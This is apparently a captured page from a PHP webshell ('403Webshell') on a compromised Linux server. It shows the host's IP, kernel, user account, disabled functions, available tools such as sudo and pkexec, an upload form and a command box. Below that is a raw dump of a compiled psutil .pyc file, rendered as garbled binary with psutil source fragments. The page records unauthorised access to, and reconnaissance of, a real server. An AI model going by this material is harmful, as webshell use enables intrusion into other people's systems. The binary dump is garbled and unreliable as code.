403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.12/site-packages/psutil/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.12/site-packages/psutil/__pycache__/_pswindows.cpython-312.pyc
�

��/hf����dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlmZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%	ddl
mZ&erddl/Z/ndZ/gd$�Z0d%Z1d&Z2d'ejfvZ4e/�d(Z5n!e/jld)d*d(i�Z7e7jjZ5e&jpejre&jtejve&jxejze&j|ej~e&j�ej�e&j�ej�e&j�ej�e&j�ej�e&j�ej�e&j�ej�e&j�ej�e&j�e1e&j�ej�i
ZQe/�5Gd+�d,e/jl�ZReS�j�eRj��e/�	dZVdZWd-ZXd.ZYn5Gd/�d0e/jl�ZZeS�j�eZj��e[d�id1d�d2d�d3d-�d4d.�d5d6�d7d8�d9d �d:d;�d<d=�d>d?�d@dA�dBdC�dDdE�dFdG�dHdI�dJdK�dLdM�dNdO�dPdQ�dRdS�dTdU�dVdW��Z\e	dXgdY��Z]e	dZgd[��Z^e	d\gd]��Z_e	d^e_j�d_z�Zae	d`dadbg�Zbe	dcdddej�ebj��z�Zde	dfgdg��Zeedh�i�dj��Zfdk�Zgedl��Zhdm�Zidn�Zje&j�Zkdo�Zldp�Zmdq�Zndr�Zods�Zpdt�Zqdu�Zrdv�Zsdwatdx�Zud�dy�Zvdz�Zwd{�Zxd|�Zyd}�Zzda{d~�Z|d�Z}d��Z~d��ZGd��d��Z�e&�jZ�e&�jZ�e&�jZ�d��Z�d�d��Z�d��Z�d��Z�Gd��d��Z�y#e'$rVZ(e)e(�jU�jWd�r+ejX�dd krd!Z-e-d"z
Z-e-d#z
Z-e.e-���dZ([(wwxYw)�z Windows platform implementation.�N)�
namedtuple�)�_common)�ENCODING)�
ENCODING_ERRS)�AccessDenied)�
NoSuchProcess)�TimeoutExpired)�	conn_tmap)�conn_to_ntuple)�debug)�
isfile_strict)�memoize)�memoize_when_activated)�parse_environ_block)�
usage_percent)�PY3)�long)�	lru_cache��range)�unicode)�ABOVE_NORMAL_PRIORITY_CLASS)�BELOW_NORMAL_PRIORITY_CLASS)�HIGH_PRIORITY_CLASS)�IDLE_PRIORITY_CLASS)�NORMAL_PRIORITY_CLASS)�REALTIME_PRIORITY_CLASS)�_psutil_windowszdll load failed�z3this Windows version is too old (< Windows Vista); z:psutil 3.4.2 is the latest version which supports Windows z2000, XP and 2003 server)�win_service_iter�win_service_getrrrrrr�IOPRIO_VERYLOW�
IOPRIO_LOW�
IOPRIO_NORMAL�IOPRIO_HIGH�CONN_DELETE_TCB�AF_LINK�
DELETE_TCBi+�__pypy__����
AddressFamilyr(c�$�eZdZeZeZeZeZeZeZy)�PriorityN)	�__name__�
__module__�__qualname__rrrrrr���8/usr/lib64/python3.12/site-packages/psutil/_pswindows.pyr.r.ss&��&A�#�&A�#�1��1�� 5��"9�r3r.��c��eZdZdZdZdZdZy)�
IOPriorityrrr5r6N)r/r0r1r#r$r%r&r2r3r4r8r8�s�����
��
��r3r8�num_handles�ctx_switches�	user_time�kernel_time�create_time��num_threads��	io_rcount�	io_wcount��	io_rbytes��	io_wbytes�	�io_count_others�
�io_bytes_others��num_page_faults��	peak_wset�
�wset��peak_paged_pool��
paged_pool��peak_non_paged_pool��non_paged_pool��pagefile��
peak_pagefile��mem_private��	scputimes)�user�system�idle�	interrupt�dpc�svmem)�total�	available�percent�used�free�pmem)�rss�vmsrLrNrPrRrT�peak_nonpaged_pool�
nonpaged_poolrZr\�private�pfullmem)�uss�
pmmap_grouped�pathrm�	pmmap_extzaddr perms � �pio)�
read_count�write_count�
read_bytes�write_bytes�other_count�other_bytesi)�maxsizec���dj|jd�dd�}tj|�}|t	|�d}t
jj||�S)z�Convert paths using native DOS format like:
        "\Device\HarddiskVolume1\Windows\systemew\file.txt"
    into:
        "C:\Windows\systemew\file.txt".
    �\Nr6)�join�split�cext�QueryDosDevice�len�osru)�s�rawdrive�driveletter�	remainders    r4�convert_dos_pathr��sV���y�y������r��*�+�H��%�%�h�/�K��#�h�-�/�"�I�
�7�7�<�<��Y�/�/r3c�j�tr|St|t�r|S|jtt
�S)zmEncode a unicode string to a byte string by using the default fs
    encoding + "replace" error handler.
    )r�
isinstance�str�encoderr)r�s r4�
py2_strencoder��s,������a����H��8�8�H�m�4�4r3c�*�tj�S�N)r��getpagesizer2r3r4r�r��s������r3c��tj�}|\}}}}|}|}|}||z
}t||z
|d��}	t|||	||�S)z&System virtual memory as a namedtuple.r��round_)r��virtual_memrrf)
�mem�totphys�	availphys�totsys�availsysrg�availrkrjris
          r4�virtual_memoryr��s[��
�
�
�
�C�+.�(�G�Y����E��E��D��5�=�D��U�U�]�U�1�=�G����w��d�3�3r3c��tj�}|d}|d}||z
}|dkDr&tj�}td|z|z�}nd}d}||z
}t	|d�}tj||||dd�S)z=Swap system memory as a (total, used, free, sin, sout) tuple.rr5g{�G�z�?�r)r�r��swap_percent�int�roundr�sswap)r��
total_phys�total_systemrg�percentswaprjrkris        r4�swap_memoryr��s���
�
�
�
�C��Q��J��q�6�L�
�:�%�E�

�q�y��'�'�)���4�+�%��-�.�������4�<�D��K��#�G��=�=���d�G�Q��:�:r3c���tr't|t�r|jtd��}tj|�\}}||z
}t||d��}tj||||�S)z'Return disk usage associated with path.�strict)�errorsrr�)
rr��bytes�decoderr��
disk_usagerr�
sdiskusage)rurgrkrjris     r4r�r�sb��
�z�$��&��{�{�8�H�{�5���/�/�$�'�K�E�4��4�<�D��D�%��2�G����e�T�4��9�9r3c�v�tj|�}|D�cgc]}tj|���c}Scc}w)zReturn disk partitions.)r��disk_partitionsr�	sdiskpart)�all�rawlist�xs   r4r�r�)s5���"�"�3�'�G�+2�3�7�a�G���q�!�7�3�3��3s�6c���tj�\}}}tttj��D�cgc]
}t|���c}�}t||||j|j�Scc}w)z)Return system CPU times as a named tuple.)r��	cpu_timesr`�zip�
per_cpu_times�sumrdre)rarbrc�n�
percpu_summeds     r4r�r�4sn�����)��D�&�$���T�5G�5G�5I�0J�K�0J�1��A��0J�K�L�M���f�d�M�3�3�]�5F�5F���� Ls�A3c��g}tj�D](\}}}}}t|||||�}|j|��*|S)z6Return system per-CPU times as a list of named tuples.)r�r�r`�append)�retrarbrcrdre�items       r4r�r�@sK��
�C�.2�.@�.@�.B�*��f�d�I�s���v�t�Y��<���
�
�4��/C��Jr3c�*�tj�S)z0Return the number of logical CPUs in the system.)r��cpu_count_logicalr2r3r4r�r�Is���!�!�#�#r3c�*�tj�S)z-Return the number of CPU cores in the system.)r��cpu_count_coresr2r3r4r�r�Ns�����!�!r3c�h�tj�\}}}}d}tj||||�S)zReturn CPU statistics.r)r��	cpu_statsr�	scpustats)r:�
interrupts�dpcs�syscalls�soft_interruptss     r4r�r�Ss8��/3�~�~�/?�,�L�*�d�H��O�����j�/�8��r3c��tj�\}}d}tjt	|�|t	|��gS)zMReturn CPU frequency.
    On Windows per-cpu frequency is not supported.
    r�)r��cpu_freqr�scpufreq�float)�curr�max_�min_s   r4r�r�\s8������J�D�$��D����U�4�[�$��d��<�=�=r3Fc	��tstj�datj�}t	|D�cgc]}t|d���c}�Scc}w)z�Return the number of processes in the system run queue averaged
    over the last 1, 5, and 15 minutes respectively as a tuple.
    Tr5)�_loadavg_inititializedr��init_loadavg_counter�
getloadavg�tupler�)�	raw_loads�loads  r4r�r�hsJ��"��!�!�#�!%�����!�I��Y�7�Y�T�%��a�.�Y�7�8�8��7s�Ac
��|tvr;td|�ddjtD�cgc]
}t|���c}�����t|\}}t	j
|||�}t
�}|D];}|\}}	}
}}}
}t||	|
|||
t|dk(r|nd��}|j|��=t|�Scc}w)z�Return socket connections.  If pid == -1 return system-wide
    connections (as opposed to connections opened by one process only).
    zinvalid z kind argument; choose between z, r+N)�pid)r�
ValueErrorr��reprr��net_connections�setr�TCP_STATUSES�add�list)�kind�_pidr��families�typesr�r�r��fd�fam�type�laddr�raddr�statusr��nts                r4r�r�|s����9����T�Y�Y��;��A��Q���;�<�
>�
�	
� ��o�O�H�e��"�"�4��5�9�G�

�%�C���37�0��C��u�e�V�S�
���������r�z��t�	
��	��������9���% <s�B<c�T�i}tj�}|j�D]~\}}ts+t	|t
�sJt
|���t|�}|\}}}}ttd�rtj|�}tj||||d�||<��|S)z)Get NIC stats (isup, duplex, speed, mtu).�	NicDuplex�)r��net_if_stats�itemsrr�rr�r��hasattrrr��	snicstats)r��rawdict�namer��isup�duplex�speed�mtus        r4r�r��s���
�C����!�G��}�}����e���d�G�,�8�d�4�j�8�,� ��&�D�#(� ��f�e�S��7�K�(��&�&�v�.�F��%�%�d�F�E�3��C��D�	�'��Jr3c	��tj�}t|j�D��cgc]\}}t	|�|f��c}}�Scc}}w)zsReturn network I/O statistics for every network interface
    installed on the system as a dict of raw tuples.
    )r��net_io_counters�dictr�r�)r��k�vs   r4r�r��sC���
�
�
 �C��3�9�9�;�?�;�4�1�a�-��"�A�&�;�?�@�@��?s�A
c��g}tj�D]/}t|�}t|d�|d<|j	|��1|S)z,Return the addresses associated to each NIC.r)r��net_if_addrsr�r�r�)r�r�s  r4rr�sH��
�C��"�"�$���U��� ��q��*��a���
�
�5��%��Jr3c��tj�\}}}}|dk(}t|dz�}t|dz�}|ry|s|rtj}n|dk(rtj
}tj|||�S)zReturn battery information.r�rENr+)r��sensors_battery�boolr�POWER_TIME_UNLIMITED�POWER_TIME_UNKNOWN�sbattery)�
acline_status�flagsri�secsleft�
power_plugged�
no_battery�chargings       r4rr�s}��
/3�.B�.B�.D�+�M�5�'�8�!�Q�&�M��e�c�k�"�J��E�A�I��H������/�/��	�R���-�-�����G�X�}�=�=r3c�z�ttj��}t|tz
�dkrtS|a|S)z:The system boot time expressed in seconds since the epoch.r)r�r��	boot_time�abs�_last_btime)r�s r4rr�s7������ �
!�C�
�3�����"������
r3c��g}tj�}|D]=}|\}}}t|�}tj|d||d�}|j|��?|S)z:Return currently connected users as a list of namedtuples.N)r��usersr�r�suserr�)�retlistr�r�ra�hostname�tstampr�s       r4rr�s[���G��j�j�l�G���!%���h���T�"��
�]�]�4��x���
>�����r��	�
�Nr3c#�K�tj�D]%\}}tt|�t|�����'y�w)z*Yields a list of WindowsService instances.N)r��winservice_enumerate�WindowsServicer�)r��display_names  r4r!r!�s5����"�7�7�9���l��]�4�0�-��2M�N�N�:�s�>Ac�N�t|d�}|j�d|_|S)zBOpen a Windows service and return it as a WindowsService instance.Nr)r�
_query_config�
_display_name)r��services  r4r"r"�s)���T�4�(�G�#�1�1�3�N�C�G���Nr3c��eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
ejd	��Z
d
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zy)rz(Represents an installed Windows service.c� �||_||_yr�)�_namer )�selfr�rs   r4�__init__zWindowsService.__init__	s����
�)��r3c�p�d|j�d|j�d�}|jj�|��S)Nz(name=z, display_name=�))r$r �	__class__r/)r%�detailss  r4�__str__zWindowsService.__str__
s0���J�J����
�����0�0�'�:�:r3c�B�d|j��dt|��d�S)N�<z at �>)r+�id�r%s r4�__repr__zWindowsService.__repr__s��#�|�|�~�r�$�x�8�8r3c�`�t|t�stS|j|jk(Sr�)r�r�NotImplementedr$�r%�others  r4�__eq__zWindowsService.__eq__s'���%��0�!�!��z�z�U�[�[�(�(r3c��||k(Sr�r2r4s  r4�__ne__zWindowsService.__ne__s���5�=� � r3c��|j�5tj|j�\}}}}ddd�t	t�t�t�t���S#1swY�<xYw)N)r�binpath�username�
start_type)�_wrap_exceptionsr��winservice_query_configr$r�r�)r%rr:r;r<s     r4rzWindowsService._query_config!sj��
�
"�
"�
$��,�,�T�Z�Z�8�
8�L�'�8�Z�%�
�&�|�4�!�'�*�"�8�,�$�Z�0�	
�	
�%�
$�s�%A1�1A:c��|j�5tj|j�\}}ddd�dk(rd}t	|��S#1swY�xYw)Nr)r�r�)r=r��winservice_query_statusr$r�)r%r�r�s   r4�
_query_statuszWindowsService._query_status.sM��
�
"�
"�
$��6�6�t�z�z�B�K�F�C�%��!�8��C��6�s�+�+�	%�
$�s�#A�Ac#�DK�	d��y#t$r�}t|�r'd|jz}td|j|���|jt
jt
jfvr'd|jz}td|j|����d}~wwxYw�w)z{Ctx manager which translates bare OSError and WindowsError
        exceptions into NoSuchProcess and AccessDenied.
        Nz2service %r is not querable (not enough privileges)�r�r��msgzservice %r does not exist)	�OSError�is_permission_errr$r�winerrorr��ERROR_INVALID_NAME�ERROR_SERVICE_DOES_NOT_EXISTr	)r%�errrDs   r4r=zWindowsService._wrap_exceptions5s�����
	����	� ��%�H��j�j�!��#�t�$�*�*�#�F�F�����'�'��1�1�"��2�D�J�J�>��#��4�:�:�3�G�G���	�s%�B �	�B �	B�BB�B�B c��|jS)z�The service name. This string is how a service is referenced
        and can be passed to win_service_get() to get a new
        WindowsService instance.
        )r$r0s r4r�zWindowsService.nameNs��
�z�z�r3c��|jS)z_The service display name. The value is cached when this class
        is instantiated.
        )r r0s r4rzWindowsService.display_nameUs���!�!�!r3c�(�|j�dS)zwThe fully qualified path to the service binary/exe file as
        a string, including command line arguments.
        r:�rr0s r4r:zWindowsService.binpath[s���!�!�#�I�.�.r3c�(�|j�dS)z,The name of the user that owns this service.r;rNr0s r4r;zWindowsService.usernameas���!�!�#�J�/�/r3c�(�|j�dS)zRA string which can either be "automatic", "manual" or
        "disabled".
        r<rNr0s r4r<zWindowsService.start_typees���!�!�#�L�1�1r3c�(�|j�dS)zzThe process PID, if any, else None. This can be passed
        to Process class to control the service's process.
        r��rAr0s r4r�zWindowsService.pidms���!�!�#�E�*�*r3c�(�|j�dS)zService status as a string.r�rRr0s r4r�zWindowsService.statusss���!�!�#�H�-�-r3c�Z�ttj|j���S)zService long description.)r�r��winservice_query_descrr�r0s r4�descriptionzWindowsService.descriptionws���T�8�8�����E�F�Fr3c���|j�}|j|j��|j�|d<|j	�|d<|j�|d<|S)zUUtility method retrieving all the information above as a
        dictionary.
        r�rrV)r�updaterAr�rrV)r%�ds  r4�as_dictzWindowsService.as_dict}sa��
��� ��	����#�#�%�&��I�I�K��&�	� �-�-�/��.���+�+�-��-���r3N)r/r0r1�__doc__r&r+r1r6r8rrA�
contextlib�contextmanagerr=r�rr:r;r<r�r�rVrZr2r3r4rrsp��2�*�;�9�)�!�
�,�������0�"�/�0�2�+�.�G�	r3rc���t|t�sJ|��|jtjtjfvryt|dd�tjtjfvryy)z*Return True if this is a permission error.TrGr+F)	r�rE�errno�EPERM�EACCES�getattrr��ERROR_ACCESS_DENIED�ERROR_PRIVILEGE_NOT_HELD)�excs r4rFrF�se���c�7�#�(�S�(�#�
�y�y�U�[�[�%�,�,�/�/���s�J��#�� � ��%�%�(���r3c��t|t�sJ|��t|�r
t||��S|jtj
k(r
t
||��S|�)z3Convert OSError into NoSuchProcess or AccessDenied.�r�r�)r�rErFrr_�ESRCHr	)rer�r�s   r4�convert_oserrorri�sN���c�7�#�(�S�(�#������$�/�/�
�y�y�E�K�K����4�0�0�

�Ir3c�B��tj���fd��}|S)zDDecorator which converts OSError into NoSuchProcess or AccessDenied.c���	�|g|��i|��S#t$r'}t||j|j���d}~wwxYw)Nrg)rErir�r$)r%�args�kwargsrJ�funs    �r4�wrapperz wrap_exceptions.<locals>.wrapper�sG���	F��t�-�d�-�f�-�-���	F�!�#�4�8�8�$�*�*�E�E��	F�s��	?�":�?��	functools�wraps�rnros` r4�wrap_exceptionsrt�s)����_�_�S��F��F��Nr3c�B��tj���fd��}|S)z�Workaround for https://github.com/giampaolo/psutil/issues/875.
    See: https://stackoverflow.com/questions/4457745#4457745.
    c�R��d}d}t|�D]}	�|g|��i|��cSdj�|�}t|j|j|���#t$rD}|}|jtk(r)t	j
|�t
|dzd�}Yd}~���d}~wwxYw)N�-C��6?�!r5�{�G�z�?zH{} retried {} times, converted to AccessDenied as it's stillreturning {}rC)r�WindowsErrorrG�ERROR_PARTIAL_COPY�time�sleep�min�formatrr�r$)	r%rlrm�delay�times�_rJrDrns	        �r4roz)retry_error_partial_copy.<locals>.wrapper�s���������u��A�
��4�1�$�1�&�1�1��
�!�6�#�u�c�2�	��t�x�x�d�j�j�c�B�B�� �
����<�<�#5�5��J�J�u�%����	�4�0�E����

�s�A�	B&�"9B!� B!�!B&rprss` r4�retry_error_partial_copyr��s)���
�_�_�S��C��C�&�Nr3c�>�eZdZdZgd�Zd�Zd�Zd�Zed��Z	d�Z
eed���Zee
d	���Zee
d
���Zd�Zd�Zed
��Zed��Zd�Zed��Zed��Zed(d��Zed��Zed��Zed��Zed��Zed��Zed��Zed��Zee
d���Zed��Z ed)d��Z!ed��Z"ed��Z#ed ��Z$ed!��Z%ed"��Z&ed#��Z'ed$��Z(ed%��Z)ed&��Z*ed'��Z+y)*�Processz1Wrapper class around underlying C implementation.)r�r$�_ppid�_cachec�.�||_d|_d|_yr�)r�r$r�)r%r�s  r4r&zProcess.__init__s�������
���
r3c�p�|jj|�|jj|�yr�)�
_proc_info�cache_activate�exer0s r4�
oneshot_enterzProcess.oneshot_enter	s&�����&�&�t�,�������%r3c�p�|jj|�|jj|�yr�)r��cache_deactivater�r0s r4�oneshot_exitzProcess.oneshot_exit
s&�����(�(��.����!�!�$�'r3c�~�tj|j�}t|�tt�k(sJ�|S)zOReturn multiple information about this process as a
        raw tuple.
        )r��	proc_infor�r��	pinfo_map�r%r�s  r4r�zProcess._proc_infos1��
�n�n�T�X�X�&���3�x�3�y�>�)�)�)��
r3c��|jdk(ry|jdk(rytjj|j	��S)zbReturn process name, which on Windows is always the final
        part of the executable.
        rzSystem Idle Processr>�System)r�r�ru�basenamer�r0s r4r�zProcess.names;���8�8�q�=�(��8�8�q�=���w�w������
�+�+r3c��tr!	tj|j�}ntj|j�}tst|�}|jd�rt|�S|S#t$rC}|j
dk(r.t
d|z�t|j|j���d}~wwxYw)N�z%r translated into AccessDeniedr�)
�PYPYr��proc_exer�rzr_r
rr$rr��
startswithr�)r%r�rJs   r4r�zProcess.exe&s����
��m�m�D�H�H�-���-�-����)�C����$�C��>�>�$��#�C�(�(��
�� �
��9�9��?��;�c�A�B�&�t�x�x����<�<���

�s�A6�6	C�?>B=�=Cc��tjtjk\r#	tj|jd��}n!tj|jd��}tr|S|D�cgc]
}t|���c}S#t
$r8}t
|�r"tj|jd��}n�Yd}~�]d}~wwxYwcc}w)NT)�use_pebF)	r��WINVER�WINDOWS_8_1�proc_cmdliner�rErFrr�)r%r�rJr�s    r4�cmdlinezProcess.cmdline;s����;�;�$�*�*�*�
��'�'����$�?���#�#�D�H�H�d�;�C���J�.1�2�c��M�!�$�c�2�2���
�$�S�)��+�+�D�H�H�e�D�C����
��3s�!B�2C�	C�.C�Cc��tj|j�}|r&ts t	|t
�sJt
|���tt|��Sr�)	r��proc_environr�rr�rr�rr�)r%�ustrs  r4�environzProcess.environOsF��� � ����*�����d�G�,�8�d�4�j�8�,�"�=��#6�7�7r3c��	t�|jS#t$r!t|j|j��wxYwr�)�ppid_mapr��KeyErrorr	r$r0s r4�ppidzProcess.ppidWs<��	6��:�d�h�h�'�'���	6�����$�*�*�5�5�	6�s	��*Ac
��	tj|j�S#t$r�}t	|�r�|j�}|td|td|td|td|td|td|td|td|td	|td
f
cYd}~S�d}~wwxYw)NrLrNrPrRrTrVrXrZr\r^)r��proc_memory_infor�rErFr�r�)r%rJ�infos   r4�_get_raw_meminfozProcess._get_raw_meminfo]s���	��(�(����2�2���	� ��%����(����#4�5�6���;�/�0���6�*�+���#4�5�6���<�0�1���#8�9�:���#3�4�5���:�.�/���?�3�4���=�1�2���
��#	�s!�!�	C�B
B;�4C�:B;�;Cc�P�|j�}|d}|d}t||f|z�S)Nr5rC)r�rl)r%�trmrns    r4�memory_infozProcess.memory_infoss7��

�!�!�#����d����d���c�3�Z�!�^�$�$r3c��|j�}tj|j�}|t	�z}t||fz�Sr�)r�r��proc_memory_ussr�r�rr)r%�	basic_memrss   r4�memory_full_infozProcess.memory_full_info}sB���$�$�&�	��"�"�4�8�8�,���{�}�����c�V�+�,�,r3c#�&K�	tj|j�}|D]6\}}}}t|�}tst|�}t
|�}||||f���8y#t$r&}t||j|j��d}~wwxYw�wr�)
r��proc_memory_mapsr�r�rr��hexrErir$)r%�raw�addr�permrurmrJs       r4�memory_mapszProcess.memory_maps�s�����	.��'�'����1�C�*-�%��d�D�#�'��-���(��.�D��4�y���T�4��-�-�*-���	=�"�#�t�x�x����<�<��	=�s'�B�A�<B�	B�(!B	�	B�Bc�@�tj|j�Sr�)r��	proc_killr�r0s r4�killzProcess.kill�s���~�~�d�h�h�'�'r3c�,�|tjk(r tj|j�y|ttdt
��ttdt
��fvr!tj|j|�yd}t|��)N�CTRL_C_EVENT�CTRL_BREAK_EVENTzPonly SIGTERM, CTRL_C_EVENT and CTRL_BREAK_EVENT signals are supported on Windows)
�signal�SIGTERMr�r�r�rb�objectr�r�r�)r%�sigrDs   r4�send_signalzProcess.send_signal�sr���&�.�.� ��N�N�4�8�8�$�
��F�N�F�H�5��F�.���9�
�
�
�G�G�D�H�H�c�"�+�
��S�/�!r3Nc�V�|�tj}nt|dz�}ttdtj�}|�
|�|znd}	tj
|j|�}d}	t|j�s|S|r,|�|k\r"t||j|j���t	j|�t|dzd�}�j#tj$r"t||j|j��tj$rd}Y��wxYw)Ni��	monotonicrwrgr5ry)
r��INFINITEr�rbr|�	proc_waitr�r
r$�TimeoutAbandoned�
pid_existsr}r~)r%�timeout�cext_timeout�timer�stop_at�	exit_coder�s       r4�waitzProcess.wait�s���?��=�=�L��w��~�.�L���k�4�9�9�5��'.�':�%�'�G�#���	����t�x�x��>�I�&����d�h�h�'� � ��5�7�g�-�$�W�$�(�(����L�L��J�J�u�����	�4�(�E�
��'�"�"�	@� ��$�(�(�D�J�J�?�?��$�$�		��I�		�s� C�AD(�'D(c��|jdvrytj|j�\}}t|�dzt|�zS)N�rr>zNT AUTHORITY\SYSTEMr�)r�r��
proc_usernamer�)r%�domainras   r4r;zProcess.username�sC���8�8�v��)��)�)�$�(�(�3�����V�$�t�+�m�D�.A�A�Ar3c���	tj|j�\}}}|S#t$r0}t	|�r|j�tdcYd}~S�d}~wwxYw)Nr=)r��
proc_timesr�rErFr�r�)r%rarb�createdrJs     r4r=zProcess.create_time�sW��	�$(�O�O�D�H�H�$=�!�D�&�'��N���	� ��%����(��=�)A�B�B���	�s �$'�	A �$A�A �A�A c�6�|j�tdS)Nr?)r�r�r0s r4r?zProcess.num_threads�s����� ��=�!9�:�:r3c��tj|j�}g}|D].\}}}tj|||�}|j|��0|Sr�)r��proc_threadsr�r�pthreadr�)r%r�r�	thread_id�utime�stime�ntuples       r4�threadszProcess.threads�sQ���#�#�D�H�H�-����'.�#�I�u�e��_�_�Y��u�=�F��N�N�6�"�(/��r3c��	tj|j�\}}}tj||dd�S#t$r>}t	|�s�|j�}|td}|td}Yd}~�Zd}~wwxYw)Nr;r<r�)	r�r�r�rErFr�r�r�	pcputimes)r%rarbr�rJr�s      r4r�zProcess.cpu_times�s���	4�$(�O�O�D�H�H�$=�!�D�&�'�� � ��v�s�C�8�8���	4�$�S�)���?�?�$�D��	�+�.�/�D��)�M�2�3�F��	4�s�#=�	B�4A?�?Bc�D�tj|jd�y)NT�r��proc_suspend_or_resumer�r0s r4�suspendzProcess.suspends���#�#�D�H�H�d�3r3c�D�tj|jd�y)NFr�r0s r4�resumezProcess.resumes���#�#�D�H�H�e�4r3c���|jdvr t|j|j��tj|j�}ttjj|��S)Nr�)	r�rr$r��proc_cwdr�r�ru�normpath)r%rus  r4�cwdzProcess.cwdsS���8�8�v���t�x�x����4�4��}�}�T�X�X�&���R�W�W�-�-�d�3�4�4r3c�6�|jdvrgSt�}tj|j�}|D]Q}t	|�}t|�s�tst|�}tj|d�}|j|��St|�S)Nr�r+)r�r�r��proc_open_filesr�rrr�r�	popenfiler�r�)r%r��raw_file_names�_filer�s     r4�
open_fileszProcess.open_filess����8�8�v���I��e��
�-�-�d�h�h�7��#�E�$�U�+�E��U�#��)�%�0�E� �*�*�5�"�5�������
$��C�y�r3c�0�t||j��S)N)r�)r�r�)r%r�s  r4�connectionszProcess.connections%s���t�$�(�(�3�3r3c�f�tj|j�}t�t	|�}|Sr�)r��proc_priority_getr��enumr.�r%�values  r4�nice_getzProcess.nice_get)s*���&�&�t�x�x�0�����U�O�E��r3c�B�tj|j|�Sr�)r��proc_priority_setr�r�s  r4�nice_setzProcess.nice_set0s���%�%�d�h�h��6�6r3c�f�tj|j�}t�t	|�}|Sr�)r��proc_io_priority_getr�r�r8r�s  r4�
ionice_getzProcess.ionice_get4s*���'�'����1�����S�/�C��
r3c��|r
d}t|��|ttttfvrtd|z��t
j|j|�y)Nz&value argument not accepted on Windowsz%s is not a valid priority)	�	TypeErrorr#r$r%r&r�r��proc_io_priority_setr�)r%�ioclassr�rDs    r4�
ionice_setzProcess.ionice_set;sT���:�C��C�.� ������	
�
��9�G�C�D�D��!�!�$�(�(�G�4r3c	�L�	tj|j�}t|�S#t$rq}t	|�s�|j�}|td|td|td|td|td|tdf}Yd}~t|�Sd}~wwxYw)NrArBrDrFrHrJ)r��proc_io_countersr�rErFr�r�rx)r%r�rJr�s    r4�io_counterszProcess.io_countersIs���
	��'�'����1�C��C�y����	�$�S�)���?�?�$�D��Y�{�+�,��Y�{�+�,��Y�{�+�,��Y�{�+�,��Y�0�1�2��Y�0�1�2�
�C��C�y���	�s�)�	B#�A B�B#c��tj|j�}|rtjStj
Sr�)r��proc_is_suspendedr�r�STATUS_STOPPED�STATUS_RUNNING)r%�	suspendeds  r4r�zProcess.status[s1���*�*�4�8�8�4�	���)�)�)��)�)�)r3c�V�d�}tj|j�}||�S)Nc�P�td�D�cgc]
}d|z|zs�|��c}Scc}w)N�@rr)r��is  r4�from_bitmaskz.Process.cpu_affinity_get.<locals>.from_bitmaskes(��$�R�y�9�y�!�Q�!�V�q�L�A�y�9�9��9s�
#�#)r��proc_cpu_affinity_getr�)r%r�bitmasks   r4�cpu_affinity_getzProcess.cpu_affinity_getcs(��	:��,�,�T�X�X�6���G�$�$r3c��d�}tttt����}|D]8}||vs�t	|t
tf�std|z��td|z��||�}tj|j|�y)Nc�H�|std|z��d}|D]
}|d|zz}�|S)Nzinvalid argument %rrr5)r�)�ls�out�bs   r4�
to_bitmaskz,Process.cpu_affinity_set.<locals>.to_bitmaskms7��� �!6��!;�<�<��C����q�!�t�����Jr3z&invalid CPU %r; an integer is requiredzinvalid CPU %r)r�rr�r�r�r�rrr�r��proc_cpu_affinity_setr�)r%r�r�allcpus�cpurs      r4�cpu_affinity_setzProcess.cpu_affinity_setks���	��u�S���1�2�3���C��'�!�!�#��T�{�3�#�@�3�F���%�%5��%;�<�<���U�#���"�"�4�8�8�W�5r3c��	tj|j�S#t$r0}t	|�r|j�tdcYd}~S�d}~wwxYw)Nr9)r��proc_num_handlesr�rErFr�r�)r%rJs  r4r9zProcess.num_handles�sN��	��(�(����2�2���	� ��%����(��=�)A�B�B���	�s �!�	A�$A�A�A�Ac�b�|j�td}tj|d�S)Nr:r)r�r�r�pctxsw)r%r:s  r4�num_ctx_switcheszProcess.num_ctx_switches�s)�����(��>�)B�C���~�~�l�A�.�.r3r�)�inet),r/r0r1r[�	__slots__r&r�r�rr�r�rtr�r�r�r�r�r�r�r�r�r�r�r�r;r=r?r�r�r�r�r�r�r�r�rrrrr�rr"r9r'r2r3r4r�r��s���;�3�I��&�(�����
,�������&��3���3�$��8���8�6��,�%��%��-��-�
.��(��(��"��"� �()��()�T�B��B��	��	��;��;������
9��
9��4��4��5��5���5���5�����$�4��4������7��7������5��5�����"�*��*��%��%��6��6�2�����/��/r3r�r2)r+)NN)�r[r\r_rqr�r��sysr|�collectionsrr�rrrrr	r
rrr
rrrrr�_compatrrrrrrrrrrrrr��ImportErrorrJr��lowerr��getwindowsversionrD�RuntimeErrorr��__extra__all__r'r{�builtin_module_namesr�r(�IntEnumr,�MIB_TCP_STATE_ESTAB�CONN_ESTABLISHED�MIB_TCP_STATE_SYN_SENT�
CONN_SYN_SENT�MIB_TCP_STATE_SYN_RCVD�
CONN_SYN_RECV�MIB_TCP_STATE_FIN_WAIT1�CONN_FIN_WAIT1�MIB_TCP_STATE_FIN_WAIT2�CONN_FIN_WAIT2�MIB_TCP_STATE_TIME_WAIT�CONN_TIME_WAIT�MIB_TCP_STATE_CLOSED�
CONN_CLOSE�MIB_TCP_STATE_CLOSE_WAIT�CONN_CLOSE_WAIT�MIB_TCP_STATE_LAST_ACK�
